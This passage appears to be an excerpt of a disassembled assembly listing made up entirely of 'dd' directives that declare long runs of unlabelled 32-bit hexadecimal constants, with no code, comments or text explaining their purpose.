		dd 4D503D1Dh, 8BA60F6Bh, 9DA89C31h, 243672h, 14D26230h
		dd 0B7E8A270h, 654811CCh, 796313ABh, 6F321BBAh,	7EE4F3Ch
		dd 9E2E3827h, 2BD47FA5h, 8B271D97h, 0D917B557h,	0BB38C62Fh
		dd 0C8D6DE60h, 81655DBCh, 0A4EBFEA8h, 9B638B83h, 0F9260C93h
		dd 0A106C39Ah, 2E84B5E5h, 1BECB3EAh, 0D02E29D3h, 0C35CD0A9h
		dd 1E355DA6h, 0CF55B91Bh, 0AD8330E0h, 415EEF09h, 47C18B65h
		dd 589AF7A1h, 0A6FCDEAFh, 1BC285D8h, 21715EC4h,	8E191415h
		dd 0C40C40AAh, 104475FCh, 0F463A27Bh, 906265DDh, 0DFA33CB4h
		dd 883203F2h, 5ADC1665h, 0D5BEB945h, 742759Bh, 0E06D20E2h
		dd 0E74BED55h, 95E951DEh, 0F6152783h, 12B53CE4h, 9FEBDDFAh
		dd 6E9F45C0h, 2555B936h, 0C2908224h, 7AAFABACh,	0EA0F240Bh
		dd 6CA447A9h, 0A0FDDC41h, 0EB36BB3Ch, 7CCADDC8h, 13FCEF95h
		dd 0C3352823h, 48F657CBh, 52E63A7Ah, 0C54068A4h, 0DCA80D7Bh
		dd 7588F3Fh, 0E8B028F0h, 155FF057h, 5B523249h, 0DE7CA5F9h
		dd 0B4D8CAF0h, 0D2E9B200h, 2F52D7DDh, 0A4F282Ah, 0B9FD8025h
		dd 0B9F39664h, 7F4700ADh, 25EE04E4h, 9643EE40h,	0BF5E8C21h
		dd 14D0C703h, 0F7C631E6h, 285579E0h, 8084D8FFh,	9E1AF346h
		dd 1818737Ch, 74A41F3Fh, 0A3BE22FDh, 3EC4BA72h,	0A82DC7B1h
		dd 0CAE45F75h, 0EFA75C68h, 79E69B78h, 576DA31Fh, 91AE1A91h
		dd 9F250489h, 0A8F68CC9h, 602A51DDh, 7383AA7Ah,	0BB79BD9Ah
		dd 0D9595B6Bh, 1A87609Dh, 8DF2F178h, 4A342F97h,	96BE95A4h
		dd 7F854DEAh, 99D87AFFh, 8843DF42h, 9A3DD7C3h, 0D5F4B7D4h
		dd 99511F1Ah, 28B28948h, 0F85E6991h, 939167B3h,	8D58BC41h
		dd 8458B7C1h, 0C55EAC4Bh, 85122BD8h, 6F72803Bh,	0FF7CB211h
		dd 0FAD15FDh, 24D3316Fh, 65FB836Dh, 44DEE970h, 0A5C97210h
		dd 0CBF2292Ch, 6C3E98Dh, 0D8FB27Dh, 431AB929h, 9B694404h
		dd 928FF0BDh, 6377B689h, 159C61F8h, 0F0CA0ECEh,	0F40C0E6Ah
		dd 8CED796Dh, 4DF902C4h, 0CB9F61F4h, 85C8BAFAh,	8BC98E0Dh
		dd 0FE521181h, 2AC32F1Eh, 383C2A1Ah, 686D1C30h,	0E7D4F0E7h
		dd 0C565A9AFh, 0BAB14459h, 2D0CE0DEh, 0C942343Eh, 0A5AD3352h
		dd 0A137AB91h, 7A8033F7h, 22401158h, 0E56A897Bh, 6B943EE9h
		dd 3E163C3Fh, 0F0DA042Bh, 41DE107Ch, 6525C6Bh, 4513FBD7h
		dd 370EBA34h, 5AE25C25h, 0BDEA6EBBh, 0B69C5835h, 0A8BD6516h
		dd 844ACCFDh, 30570DB9h, 0D668496Ah, 9E68668Ch,	548C3DCh
		dd 0A512DECBh, 82AC3C3Fh, 0EB8FD4F5h, 0BD1318FDh, 0FA721096h
		dd 930A186Eh, 0FC53E02Ch, 57705A0Ah, 0D6EFD104h, 0F71D2794h
		dd 3CAD640Eh, 0C554FC4Ch, 0C0C83CFCh, 0D2B216A0h, 0B90DACE8h
		dd 26F99591h, 2C402D24h, 0A4818C3Eh, 58CBA6D6h,	0DB5F56A3h
		dd 0CF62A2DBh, 0D2FC696Ah, 0F67DE021h, 579183E6h, 9700DD92h
		dd 0A9E91280h, 0F9CFA344h, 0FCA0566Dh, 30ECC80Eh, 0D8FFDD2Ah
		dd 0E3753F36h, 54743F45h, 0C5831227h, 1BCA972Fh, 1BD2263h
		dd 0C1C20DF5h, 4708F58Ah, 83E9F7DEh, 0C25A8E06h, 4C23E081h
		dd 0F56DE87Bh, 0A1CDF60Fh, 0A7C9DD99h, 7908DFAAh, 0B804FF20h
		dd 8FBB90Ch, 20261A7h, 119AAA20h, 8C4B588Eh, 0F07D1D52h
		dd 62AF3E4h, 8BC8AA8Ah,	43D4ADB4h, 13B9386Ch, 3B1FC06Ah
		dd 0FF521275h, 88A2483Ah, 0DD12D87Ah, 4EFEA220h, 0D7BA3C54h
		dd 7669AF6Ch, 0ACF3693Ah, 9673F84Eh, 0AE2AA407h, 54F74CDAh
		dd 5F6B4D3h, 42F6BAC2h,	9BFD5E4Bh, 6AEE46D0h, 2876B9E6h
		dd 38223386h, 0FC0AD990h, 2B616C6Eh, 0BB7D2DD4h, 6650F64Bh
		dd 84167A6h, 0D8CC35C9h, 19635862h, 0C5EA72BFh,	93EA4C04h
		dd 5CFBCAC0h, 994F352h,	12C04F91h, 0B13F1733h, 0C54B1002h
		dd 5211E1F8h, 6026B62Dh, 241AFA79h, 0D6BD3253h,	3A105877h
		dd 16DCE139h, 0DC609258h, 9A26CF7h, 1ACCB14Fh, 0ACF5CE1h
		dd 5668D92Dh, 9B0823A9h, 0FE804DB0h, 21C5DEE1h,	0B992703Ch
		dd 84091240h, 183DF444h, 94C72C45h, 9FE845A5h, 0F893DA6Ch
		dd 75978D00h, 64C385h, 16DCE5B0h, 0CD488AA3h, 0A0FFDE2Eh
		dd 0E489832Ah, 68BCE5Ah, 0FC1561F1h, 0A97FEC4Ch, 0A69BED51h
		dd 5A2C2E28h, 279ED840h, 0A2986EB9h, 0BE37EAA9h, 0C4F50148h
		dd 15472C52h, 0D6F3C14h, 112C4DE1h, 729AA741h, 34E7CB69h
		dd 0F9930B06h, 9D7D882Bh, 207803C3h, 0CFE7871Eh, 4F1FA8BFh
		dd 0E14D5720h, 0F9FD2A7Bh, 0B79F9646h, 275CD906h, 0D4AA9FFFh
		dd 0D7726F8Ah, 25435FD3h, 1F6DA2C7h, 77D1ECC7h,	53822504h
		dd 0B3803D50h, 0F78B6CF6h, 0F901C043h, 15B8228Ch, 0FBF7AA79h
		dd 45F30CF3h, 778B1A48h, 157D6BBh, 3E05B687h, 0A0B4F8BEh
		dd 51A11866h, 2E401CE6h, 90AC0606h, 0EE221760h,	45E06701h
		dd 9C82AC6Ch, 2C92AF25h, 65E7F4Ch, 84DA59BDh, 82B371AEh
		dd 0DAEB80C5h, 0F10AE298h, 0F00D15E2h, 0A8CC8194h, 69E44A18h
		dd 0BD90F9DCh, 0BCD1332Ch, 0FD1F28ADh, 0CE9E2B8h, 929BACFh
		dd 0E2AC1974h, 0FF702EE8h, 0AA95BEE8h, 0A09423E0h, 0EE7FABCBh
		dd 0C7916898h, 542DA464h, 9E8BC1A9h, 78417A41h,	0B726A300h
		dd 1B16950h, 85C00883h,	8479C1BBh, 10BCE238h, 94D15D84h
		dd 6B0A8B81h, 68CCCE3h,	0AFA8E2Fh, 27ED48E3h, 0DC5B1A14h
		dd 1AD2D965h, 0A311BF17h, 6927BDDDh, 1A187F8Bh,	6E21EAADh
		dd 4F9970F4h, 47348615h, 64FEED41h, 6783F9DBh, 0D6CC1F19h
		dd 66EC2571h, 5E6742E9h, 0B633DD1Dh, 1DFB66D1h,	5E36F3BDh
		dd 232D710Bh, 648EB3Ch,	6742B0BEh, 4A48E594h, 0DAE88DF6h
		dd 0C949C1D8h, 20388B1Fh, 1F76A82Ch, 0EB5742EDh, 0FD57D483h
		dd 25A6419Ah, 7143E045h, 0C2F4A890h, 6C8F4E5Ch,	1FE74327h
		dd 47EFCDCDh, 0C29E4DEFh, 2A3D34FEh, 0B53D1CB7h, 2D8AB8CAh
		dd 42D34992h, 1B90960h,	7F39E756h, 24A8491Ch, 647A9C50h
		dd 0B0B468F3h, 4B6DFE5Ch, 5B919FA2h, 0B9B69CD9h, 0E4AD8A3Bh
		dd 82ACD289h, 506F19F4h, 0C7692F9Bh, 761DC33Fh,	166690F6h
		dd 0FE652365h, 0A5FD408Dh, 0D08B1540h, 981ADE77h, 0F62E0073h
		dd 8467BD2Ch, 9182B529h, 0B73526F6h, 21C0CC57h,	2CC1B5B8h
		dd 194FA532h, 7C72F288h, 0C8B19865h, 6BB1C813h,	7A7AA17Ah
		dd 5A52413Ch, 32869B6h,	57C2F409h, 7BB76016h, 999F8CD4h
		dd 9E7EEEEBh, 862ECC68h, 0BC10A7D4h, 70AF976h, 259CDA6Bh
		dd 88202DAEh, 31D87EE5h, 7703A5A4h, 0D064E356h,	26E2652Bh
		dd 37D1510Dh, 0C3FC835Eh, 777107C9h, 0BE4F3D24h, 0C7225A1Ch
		dd 0F3A2D7B7h, 0EF4D0C6Fh
		dd 3A15E0ECh, 98ADFDCEh, 0ADFFB5A8h, 0D1F24CB9h, 0C6E068CAh
		dd 685E5397h, 59C6E690h, 0E3CF6430h, 3E35E53Eh,	0FCBD33BEh
		dd 4DF26EE7h, 0D6C7356Bh, 0E4B3EF88h, 5E2154D8h, 0FEF00A85h
		dd 4FC07185h, 4FC5E1D1h, 0C7FF7CFAh, 87396CBh, 93318E7Bh
		dd 0F4C2ADFh, 56B4FFF1h, 40752B0Dh, 0C705C68Ch,	0A30CA58h
		dd 57AEB2A5h, 8C742DEBh, 0CB86EE43h, 8176909h, 0BB651022h
		dd 142BC74Dh, 737684F6h, 0A2EE401Eh, 7122909Ah,	0D60059Ah
		dd 0A1AA88F0h, 0CDC5CCC8h, 0A55848A7h, 0F712FD16h, 0DDFF19BDh
		dd 76B85338h, 0D86A0CB3h, 0B1A7547Ch, 0E91FB34Eh, 8CE5B9A5h
		dd 0DB010A78h, 831AC6E4h, 0F97BBEDBh, 0D1AF90FEh, 0E3C6A2CEh
		dd 562B326Ah, 1A95B04h,	0BA51F110h, 1F1EE83h, 428117A5h
		dd 0F917BBE2h, 6A31DDC2h, 55CAE4CBh, 5AD39AEDh,	9A9FDDB5h
		dd 0F5C3126Ah, 0E0491179h, 918401B4h, 0A822654Eh, 942D9BE8h
		dd 60AFE77Bh, 4AA9C227h, 0D543F82Ah, 48A37C49h,	0A4837CC9h
		dd 569BC24Bh, 0E769ADECh, 0D1371846h, 0FBBEC8Dh, 0DF82A0A8h
		dd 0F8C41E7h, 286856B1h, 8ACB524h, 0C6DD411Fh, 0E17707BAh
		dd 58F89DEBh, 0EC4AF02Ch, 0F3A2B333h, 706C4118h, 0F693E7F3h
		dd 4107AA65h, 122151EEh, 0F8ED81C2h, 0C21C3CDEh, 0DDF48799h
		dd 0BE1277B9h, 48D7FB7Ah, 260E69Ch, 4F1C7D4Ah, 162B2251h
		dd 69B11359h, 20C86C2Eh, 0AE57B28Dh, 0FB7CE92Ah, 7A49CB02h
		dd 185999Dh, 4C3CDF59h,	55F980A5h, 2EEF0123h, 0D168DCEDh
		dd 0DE756736h, 0EF411921h, 72C51191h, 0E3137CBCh, 0C14FDD69h
		dd 22323D01h, 9E2DDFAEh, 556D1734h, 9045C2FDh, 3E37DA14h
		dd 515B29C1h, 2B158D37h, 428336CBh, 0B52131CCh,	0C629B5DDh
		dd 0C630135Dh, 8783D28Ch, 73BBC984h, 73D0FCD1h,	613A058Ch
		dd 0F6D6B934h, 3392CE3Eh, 0BA2C23A7h, 771238B3h, 0C94DA80h
		dd 773A2C2Bh, 0F84FAF3Ah, 7FDBA2ABh, 396D70ACh,	0F765D90Bh
		dd 0EE22B20Dh, 41FB923Eh, 3F5CA474h, 0DC76520Fh, 2E94DD82h
		dd 0DBF0F1EAh, 367800A0h, 0CDC9F100h, 529F52E6h, 0EB1A4373h
		dd 7F5C8E94h, 87166C90h, 836857EDh, 4373B102h, 1CF2BA47h
		dd 0C278D888h, 3EEEDDE1h, 7D94044Bh, 0AA1EEB20h, 2C3DF5E2h
		dd 0EEC52EC9h, 85AC9A87h, 1A877332h, 0FAC64C25h, 2AD8E8F6h
		dd 0DD8E75B8h, 0C9B3402Eh, 301408ACh, 6BB93F79h, 7B39FE64h
		dd 0DB5791DEh, 0E4C0D21Ch, 21782821h, 5E5D27D2h, 0CAC39D13h
		dd 0CD89B287h, 9159FB01h, 0CA72D561h, 272F439Ah, 32C2ECC9h
		dd 70FA9DE1h, 0BA6BA2BFh, 0F5B74D10h, 812B35AAh, 5C5E4CFFh
		dd 60BF0CECh, 0E7FA53D2h, 3B7E35EBh, 69010C95h,	117368C0h
		dd 8B68C0F6h, 0E97F0C8Eh, 1D2FFC69h, 9D29D7DDh,	24959B23h
		dd 27FC18C3h, 205ED1FAh, 4BAFEF5h, 6425F7D2h, 7EE55053h
		dd 52804176h, 3E17140Ah, 3473B7A1h, 64CDF33Ah, 52650198h
		dd 87C88C06h, 0DE9F4C14h, 18D420DCh, 0F26BB0EDh, 0EF509C07h
		dd 0FD3FF421h, 1EB833Ah, 4E6E458Fh, 1F1C51AEh, 479F200Ch
		dd 0E1F85A50h, 900C6983h, 0D1697FF3h, 1A473119h, 61D537F3h
		dd 0D204C340h, 8C6A649Ah, 0D23FE064h, 1740D8EBh, 33A6FD1Ch
		dd 8650D206h, 27D69077h, 0ABD7EC90h, 4BDF834Fh,	0CDDC45ADh
		dd 615B7AFBh, 95B46BEDh, 0D629FD0Eh, 0E618F9DBh, 8FF31F82h
		dd 58D5FC45h, 682D4D85h, 0E24D3E65h, 0B9982B71h, 1803D001h
		dd 284439BBh, 0FAA1B3C3h, 0E3490A98h, 0E0D631BFh, 18C03696h
		dd 761725C5h, 4DF524F1h, 9638A18h, 0C7A78539h, 0C715B51Ah
		dd 0E0CD28BDh, 0A5EE674Bh, 9C515399h, 0A08DDBC9h, 0B0AA7744h
		dd 2FEB1FCAh, 7A503E91h, 196234F7h, 27C8FA93h, 29CAD65Eh
		dd 3192FC5Ah, 0A0317A88h, 0F27BAB6Bh, 0AF1F3D7Eh, 0AB70E200h
		dd 0B008F536h, 1A02AB27h, 0AE38557Ch, 0F451A79Ah, 0A37D5567h
		dd 0CD5EE082h, 0AEB89A0Fh, 0FF1F9963h, 850F69Ah, 505B299Ah
		dd 3297E9CBh, 0E0C00A0Ch, 494F1993h, 22849463h,	9F25E1FDh
		dd 0DAC90D86h, 0B75FE2D5h, 0F68FF048h, 0F781B36Ch, 8FAAF09Fh
		dd 9A8A9DF7h, 0C8A44A2Ch, 0A34825BDh, 53C46FC1h, 0F2169EE9h
		dd 37F8320Ch, 34B44AD6h, 0B3815D8Dh, 0BDC72180h, 555A62B0h
		dd 89ED55BDh, 0B6253612h, 2E61AAB6h, 21831681h,	8D0D3E3Ah
		dd 3695926Ah, 73FFE42Eh, 0CA3A3169h, 76CA4726h,	0B7496B6Ch
		dd 0C222294h, 0CD315C9Fh, 0A06FCB18h, 0A6B1A263h, 1440600Fh
		dd 71324ECFh, 24A4E115h, 298FD247h, 96B85FE4h, 6BC8CFEh
		dd 333E4226h, 1839A3FDh, 236FA804h, 90B167ECh, 0CC5598F6h
		dd 8E7CC8B6h, 51A12C55h, 0FC58CD30h, 0E8298FC7h, 0C8A29DDFh
		dd 0ADD6FD4Dh, 0EF60729Fh, 0C9AF074h, 5AE0D5BDh, 249D779Ah
		dd 38CB87DBh, 65461D9Dh, 754AED7Eh, 1FC9AD63h, 62D2B57Dh
		dd 18D51391h, 0AA8D5D7Ah, 5023CEF0h, 0BA568C3Eh, 53903B3Fh
		dd 6D48EC7h, 86FF743Ah,	2FDC24B5h, 0EA64AF85h, 0C445E259h
		dd 0D1261CB6h, 0BBB68330h, 0A65FA6Bh, 99461B94h, 74E0AB70h
		dd 0C327C79Ah, 0BE468542h, 0EBA69C51h, 65377FBDh, 364DF135h
		dd 0A89A8248h, 578BC7E0h, 7259B3FAh, 3CE403B2h,	7C45F7D1h
		dd 93D46038h, 19D306AAh, 83B341C9h, 25039D0h, 548941C3h
		dd 2525C847h, 86EECCCBh, 0FD6BCF59h, 0E45D0010h, 10B2E660h
		dd 1145BB5Eh, 0FC72AA6Ch, 0E5E03D6Dh, 0C1D643Eh, 0CA899ECCh
		dd 6D5C2C2Ah, 2F4E4548h, 327A2439h, 0FAA3E98Ah,	0C0B76DEEh
		dd 0D30396B0h, 0C2B15D53h, 9CA6C878h, 68772CCFh, 0A79B13B4h
		dd 0FD77AD96h, 37970CC6h, 616B5218h, 6CEB2D36h,	0B7208359h
		dd 12725F9Fh, 326C875h,	0AE691A86h, 95CDBC8h, 0F266E425h
		dd 1AD27200h, 316046B6h, 55638093h, 751A1E49h, 0D3368E45h
		dd 4CEE2825h, 1EA25AFAh, 97EAED99h, 8030B5A7h, 66A0A7B8h
		dd 4CC10746h, 9FE7DFE7h, 61FB2B41h, 556B79h, 220FC69Fh
		dd 0BAA72C97h, 0E39108D5h, 0C365A487h, 1148052h, 0B5DFCF2Bh
		dd 7BC21478h, 7065C935h, 3FF1FF86h, 0A7D7526Bh,	79702E06h
		dd 0E7B1FAEFh, 2ABBC8E0h, 35BE29Ah, 0ACB1A82Eh,	0F71E0675h
		dd 58812F2Fh, 0DC2BE34Eh, 0AC8DD0E6h, 0A7B45A7h, 66895AFEh
		dd 6CDFEADEh, 0B6B6F234h, 5DD476B7h, 0CBCEC357h, 99ED778Ah
		dd 5903BC1Ch, 70BB8895h, 51D2DF6Ch, 0B9F31C85h,	42A4FF3Ah
		dd 7C4F946Bh, 0B3A63E11h, 1BE1D7A3h, 0BAEEC31Ch, 6360B868h
		dd 4BC2EBEFh, 0C73B06FCh, 0E63D2065h, 57E654F9h, 0A92C9CFFh
		dd 0A63865CEh, 957A7F52h, 8C3C0A26h, 9A9814D7h,	92171736h
		dd 0DCD88E3Ah, 0A2BE2E42h, 0D14FE344h, 545FF0A2h, 481F3C94h
		dd 6D1FA684h, 47003AB8h, 0CD368051h, 5CE77D3Dh,	552F19F5h
		dd 7BD1C8D6h, 8271A0D9h, 1BB07A7h, 0FD1D14Dh, 1F175FA7h
		dd 0C716D0A1h, 0C1B2F35Eh, 1B2F120Dh, 44CD5BC6h, 4083241Eh
		dd 86DE2B3Eh, 23C98F96h, 0A48954DDh, 0A4220430h, 6697CD93h
		dd 91C5D3Bh, 43A725FDh,	3FF75174h, 40B3AFE0h, 0B4F2F33Dh
		dd 66BBA652h, 0CAFDD16Fh, 7D1D22E8h, 0D07B6BCBh, 39228DDCh
		dd 9C7001FAh, 316B4B32h, 24324640h, 3BA5C762h, 2A451869h
		dd 448E3D17h, 28C53959h, 0EE2B8717h, 0EFAC3D90h, 6A4873CDh
		dd 5C7270FAh, 70A59C93h, 3C1095C1h, 3D004B51h, 1BE6D566h
		dd 9D4189FFh, 649703A5h, 67BFF513h, 0F7AF71A7h,	5B1AFC4Fh
		dd 58E85E79h, 4ED42A55h, 0B350AA59h, 5C2BCEA1h,	13671225h
		dd 20A889C3h, 1D63C0C6h
		dd 0EB61912Bh, 63347640h, 0FC1156D1h, 0D9106366h, 0F13D2F0Dh
		dd 6964203Dh, 4BCD269h,	0FFCB126Bh, 67099FDFh, 4730264Ah
		dd 6676785Ch, 0F74647E8h, 0B42CA28Ch, 1482EE9Fh, 20C3E22Ch
		dd 0F41840CAh, 7C1F3855h, 0C060689Fh, 90397D90h, 7EC719A8h
		dd 0B1D7194h, 0C246BC77h, 99E90F0Dh, 6B1571BCh,	0B9A5AAA3h
		dd 0DC46EB86h, 37E25AC9h, 0D329E6B8h, 15B55015h, 0BAEEA3B9h
		dd 33E45226h, 578F4DECh, 9C87A5B3h, 7D329112h, 6EB4D2D1h
		dd 1CB5A8D3h, 2BB80AFAh, 192E17FAh, 5A3D41ABh, 853AEF6Fh
		dd 7E610B14h, 0F1E02D4h, 0EFE7C555h, 38D69BE8h,	0A6572511h
		dd 99900900h, 0B32C94D1h, 2EFDB40Ah, 0EB67BC61h, 0F81BFB0Ch
		dd 8A71BDBAh, 517FA761h, 4807615Fh, 102CF6A0h, 0CD9E6C97h
		dd 37EA7910h, 859032D0h, 3A8508F6h, 0F35CB14h, 32709369h
		dd 771E90FEh, 123ED254h, 0B0C23B77h, 5A953EB2h,	0B6195C56h
		dd 7C0A7495h, 0E8A86F56h, 6B7F86Dh, 478BC376h, 0C9FBFC72h
		dd 625FB323h, 2C94B63Eh, 2DB37FEAh, 0D6015E7h, 0A77E36DEh
		dd 52CDFE9Fh, 0A7CC71B4h, 0FE9CB7FAh, 42801A0Dh, 0B7F74583h
		dd 1D0A1DF5h, 0EC412DD6h, 3B5DBC16h, 5FADA796h,	70510E24h
		dd 0D5F25FC3h, 0B13264BBh, 4135D42Eh, 0EA984117h, 0A9CF8C7h
		dd 0F18AFA1h, 4A9A2B7Bh, 0ACB27464h, 181C6504h,	77C8DDEFh
		dd 6F0A6FEAh, 1337DB16h, 2E267532h, 0E71665F6h,	65595EFFh
		dd 93CA37F6h, 0AB1CDC78h, 55A76243h, 3001AAFh, 1DADC02h
		dd 0C6EBC4E1h, 8A94EDC1h, 0FDBFA0Dh, 0C0B6F075h, 2B68BA0Fh
		dd 73D9F487h, 0B97D78D9h, 0F246C658h, 0C34822CEh, 6F43BEE3h
		dd 0E2C7AFB4h, 6A5A1B3Fh, 0DC898EFCh, 0A1823E77h, 5E709BE5h
		dd 0F40D98BBh, 2E23BF0Bh, 18BFD187h, 1378F44Bh,	0C62C191Ch
		dd 7F3F43F0h, 0A19F9334h, 0FB591F68h, 0DBA0474Bh, 581761D9h
		dd 0D817C08Ch, 7BABE4FEh, 0E3E516DBh, 0C54D41CAh, 2E409796h
		dd 0A0C5A459h, 0DFDE375Ah, 7B4FF613h, 45CCEFA2h, 0B12EE165h
		dd 0E4A2B55Dh, 17F23D5Ch, 0DE775792h, 0C08FE14Ah, 0AA647B1h
		dd 3D87E20Ah, 812A9FD8h, 38B83EA9h, 4375847Eh, 0DA4908Bh
		dd 7D790034h, 407475AAh, 0F8F66C0Bh, 32C1E8C9h,	0FAF6BBBEh
		dd 6B3F826h, 0F13BDE9Ah, 385374Dh, 5F73028Fh, 56BE41F4h
		dd 99AF0732h, 567856BFh, 0E7AB44BFh, 37E63769h,	0C7F0F637h
		dd 0BC0062C9h, 473E4759h, 0D652BA13h, 0A62177A3h, 0B0B3570h
		dd 10A4C0A3h, 726A5B57h, 3F61501Bh, 0C82621E8h,	7A218CCEh
		dd 1796231Ah, 0B6D3B4Ch, 0C9E07FA2h, 9DBD0B0Eh,	66F9209h
		dd 4AC1E7CBh, 4D32B09Eh, 238D6B8Fh, 592C1B84h, 94D2A762h
		dd 0A8F1CC7h, 1AFAF780h, 2B1C6A4Bh, 0ABC078C1h,	0DF2D70BBh
		dd 5DFBA485h, 5EA20E44h, 7E4C2EAEh, 51AAB3E6h, 7B8C0704h
		dd 0B5E1F3A7h, 6A1FCE76h, 0E9DCA960h, 72F429D0h, 0B7103759h
		dd 102E0178h, 59925CAFh, 0BE0E37B9h, 70E6639Bh,	1C2F0B55h
		dd 15DB9AFAh, 40A9BFFCh, 58442BEFh, 2A56F561h, 7972FADDh
		dd 20C18D27h, 91D4AC2Ah, 0BE4308E2h, 93DD404Ah,	8441F225h
		dd 6E91C566h, 86073D2Ch, 0E13DB801h, 0C2262C79h, 0B9C5258h
		dd 0F29B0C9Eh, 2EFF8D7Bh, 7204602Ch, 0DC96877Bh, 9A430043h
		dd 840631FEh, 0D7AEC4A0h, 0A0417759h, 43EBBE70h, 0D5ABC7BFh
		dd 21526930h, 0B53C8899h, 5B130928h, 94ECE07Dh,	22F095DBh
		dd 69578223h, 502ABEE2h, 2AD19D23h, 79FCA0FFh, 0FCA95435h
		dd 0B20B3122h, 0F5220919h, 0FD511B85h, 325247FAh, 0F4698870h
		dd 0F3C63AD2h, 110B8D6Ah, 693193Dh, 73783767h, 7DE9DBA7h
		dd 0F012540Dh, 7CFFEFA8h, 0B875082Ah, 0C9104CF5h, 6A8C9466h
		dd 8BE7D510h, 7C43F45Ch, 0BDDC7034h, 1C4D5256h,	9815E5E3h
		dd 1E8DD1C2h, 9B35A4C7h, 0E755F8B7h, 8C31A185h,	0DAD6501Dh
		dd 0BA4FF3E5h, 221D0B03h, 5417F57Dh, 4BF8D632h,	0AE00EDCCh
		dd 0A7771CF5h, 0D3658407h, 0A685A6C0h, 0EE368DB7h, 46A399A0h
		dd 0CD84CE14h, 0A876C6CDh, 9D522758h, 0F2D9609Bh, 38D827B3h
		dd 0FE1E2B3Dh, 0A15DC5C1h, 0DB8DD66Ch, 441C0CA9h, 84ACEB2h
		dd 568E51E2h, 680025A7h, 0FA0A7FF2h, 22F5D15h, 3F005153h
		dd 0DF5BD427h, 1835D7F8h, 0EA1344C5h, 655D570Ah, 9F270F21h
		dd 0A3B17CEDh, 0DB46F569h, 11B2CB4Dh, 34D25048h, 7B4B3550h
		dd 75D59152h, 86B6BDDDh, 4053FF67h, 0E53C6D11h,	888BB049h
		dd 29E5057Dh, 0B9889727h, 8BF77738h, 5DB2445Ch,	7078EA8Eh
		dd 90A2A2ABh, 2695D35Bh, 387411DAh, 8255007Fh, 0C26735DDh
		dd 8D59F15Dh, 371B284Bh, 0EBC2BEB4h, 188D8ECDh,	7CCC9C6Dh
		dd 0B204B49h, 43523EFEh, 0EE9D8702h, 32E8359h, 0E2830C81h
		dd 834CE253h, 0B87301B9h, 47356FE4h, 390BED86h,	9AA0A6FDh
		dd 21D2046Ch, 0B3BCCEA8h, 96FA81B6h, 1A1B2F4Ah,	0C08983D1h
		dd 904E06E2h, 0A6792AFAh, 0E1056873h, 39978345h, 12AE1C0Dh
		dd 0FC28B0DDh, 0BCC20ACAh, 2969A6E4h, 25C45401h, 0D87A8453h
		dd 0EB27B8E8h, 0F50CC7CEh, 0AB897EBAh, 657EA31Eh, 0C269822Dh
		dd 3C06CA9h, 74202036h,	0FE800D37h, 0DCE29526h,	0C0D74918h
		dd 659306C3h, 178FC27Ch, 441F0A4Ch, 99EE7F1Fh, 1B6A684Bh
		dd 0CBB100ACh, 0AF55011Ch, 63B45E1Fh, 0DF832E4Dh, 0C4F0AE97h
		dd 0CAD0F875h, 42AD6B0Eh, 6318BFA0h, 28B34E7Fh,	4DC6474Dh
		dd 50772D69h, 4A84F278h, 9959288Bh, 0FA7F1969h,	22C332E9h
		dd 2C2EDCD6h, 7FFA7F2h,	0E24165B3h, 0A31F91CDh,	33538D98h
		dd 0AF9993D4h, 3FD9CAFAh, 0A88EA07Fh, 4906C535h, 854CDA9Eh
		dd 37C3E389h, 0E7EF67BBh, 8535BC0Bh, 916F5147h,	5F9B3960h
		dd 0BEDB3B17h, 64DB864Ah, 6AA250F8h, 39FFB839h,	14168FD0h
		dd 0E56E6D7h, 29E3A5B5h, 3C3C049Ah, 2F84FEE8h, 130BF2D7h
		dd 7C0D579Eh, 0D8EC7FFCh, 0B890840Ah, 0BEA777Bh, 0A5A2FA2Eh
		dd 0C609B05Fh, 0AF4E6917h, 38B3645Fh, 56107C33h, 6FA4514Bh
		dd 9EA9815Fh, 301D10DCh, 86B6DDA7h, 30AB87D1h, 3B27A822h
		dd 0AA7A39A5h, 0AC6828CDh, 0D3C84D79h, 53980728h, 0F56CA185h
		dd 4E7C6BF4h, 0FDB24720h, 0CB6CEE7Fh, 965E039Fh, 1703C7F2h
		dd 2AC777E1h, 14F2FA60h, 0ADEAB46Eh, 0A655B445h, 0B0DEBE36h
		dd 1A3570E2h, 0D8F5F278h, 0A073D32h, 0B68541C1h, 6365E85Eh
		dd 77D2B6A2h, 8D42A4D6h, 343D99E1h, 43B0A349h, 0A6445116h
		dd 4809F7F0h, 241C9ABCh, 13BE9BC3h, 3D56FA33h, 2F98F123h
		dd 7DB3961h, 9C30F9F2h,	0DB6C79D1h, 68074913h, 0EA9BF5EBh
		dd 786D7B49h, 0A6A652A2h, 0E9C07873h, 0F1501DBCh, 0F2FD6F93h
		dd 626CA35Dh, 0E2E63A03h, 0AFF71279h, 0D1F3A803h, 0F3E42DA8h
		dd 0D0ADEC7Dh, 0D6285F65h, 0D12B4AA4h, 0A8092884h, 8CC00E63h
		dd 0AE7E2BABh, 0E2FD62FDh, 1B4245F1h, 2C999B46h, 0E56BF3DCh
		dd 0A32043Bh, 1ABC9150h, 96926B44h, 45105EFh, 2CF37775h
		dd 7D75155Eh, 8E1B3008h, 6F91D45Bh, 6CDA78B8h, 517DCD94h
		dd 53EE4CF1h, 38BD3E50h, 0AF84E26Bh, 0E0AEAB8Bh, 9212503Ah
		dd 5F63D882h, 340B0693h, 0D5F0CB4Ch, 0FAAE2713h, 0AD2BA9C9h
		dd 0B0718568h, 0A39747B4h, 73DE8EDBh, 44C0DF07h, 4AFB250Dh
		dd 9D0E39E8h, 0A65B4891h, 5D0A0740h, 0A843876Ah, 17DCBCE7h
		dd 0A0A8BE7h, 43D50FBBh, 46226DEAh, 29FBFBEh, 21D899D9h
		dd 3CD6C662h, 0B426219Bh, 0FA3C0073h, 225D20C0h, 5172C6C4h
		dd 295DC7B8h, 556ED99Ah
		dd 0AE68292Ah, 4D06F647h, 0BF7FE12Ch, 207AE61h,	0BDB0830Dh
		dd 4DC2831Ch, 5D754DF3h, 1F51A9A0h, 7EA2064Bh, 0C46B0F99h
		dd 12B7B864h, 2D2F2C23h, 0C8CED426h, 6C2FE40Fh,	0D0213698h
		dd 2D4C3F78h, 0F6315E25h, 30B3B84Ch, 9CD87891h,	159782B5h
		dd 0DD2F5FE6h, 9B46F821h, 3A94E3CEh, 0A2B96724h, 0CD7BFAC2h
		dd 0FED7FB0Ch, 1B39D81h, 0AC2CB5EBh, 0FB0A6548h, 32CABDE7h
		dd 3758D37Eh, 0A69853FBh, 4DE9266Bh, 0F34D9445h, 80AEB585h
		dd 29C4C28h, 0FA44F703h, 0BF54AF12h, 0C548A062h, 7C1915CBh
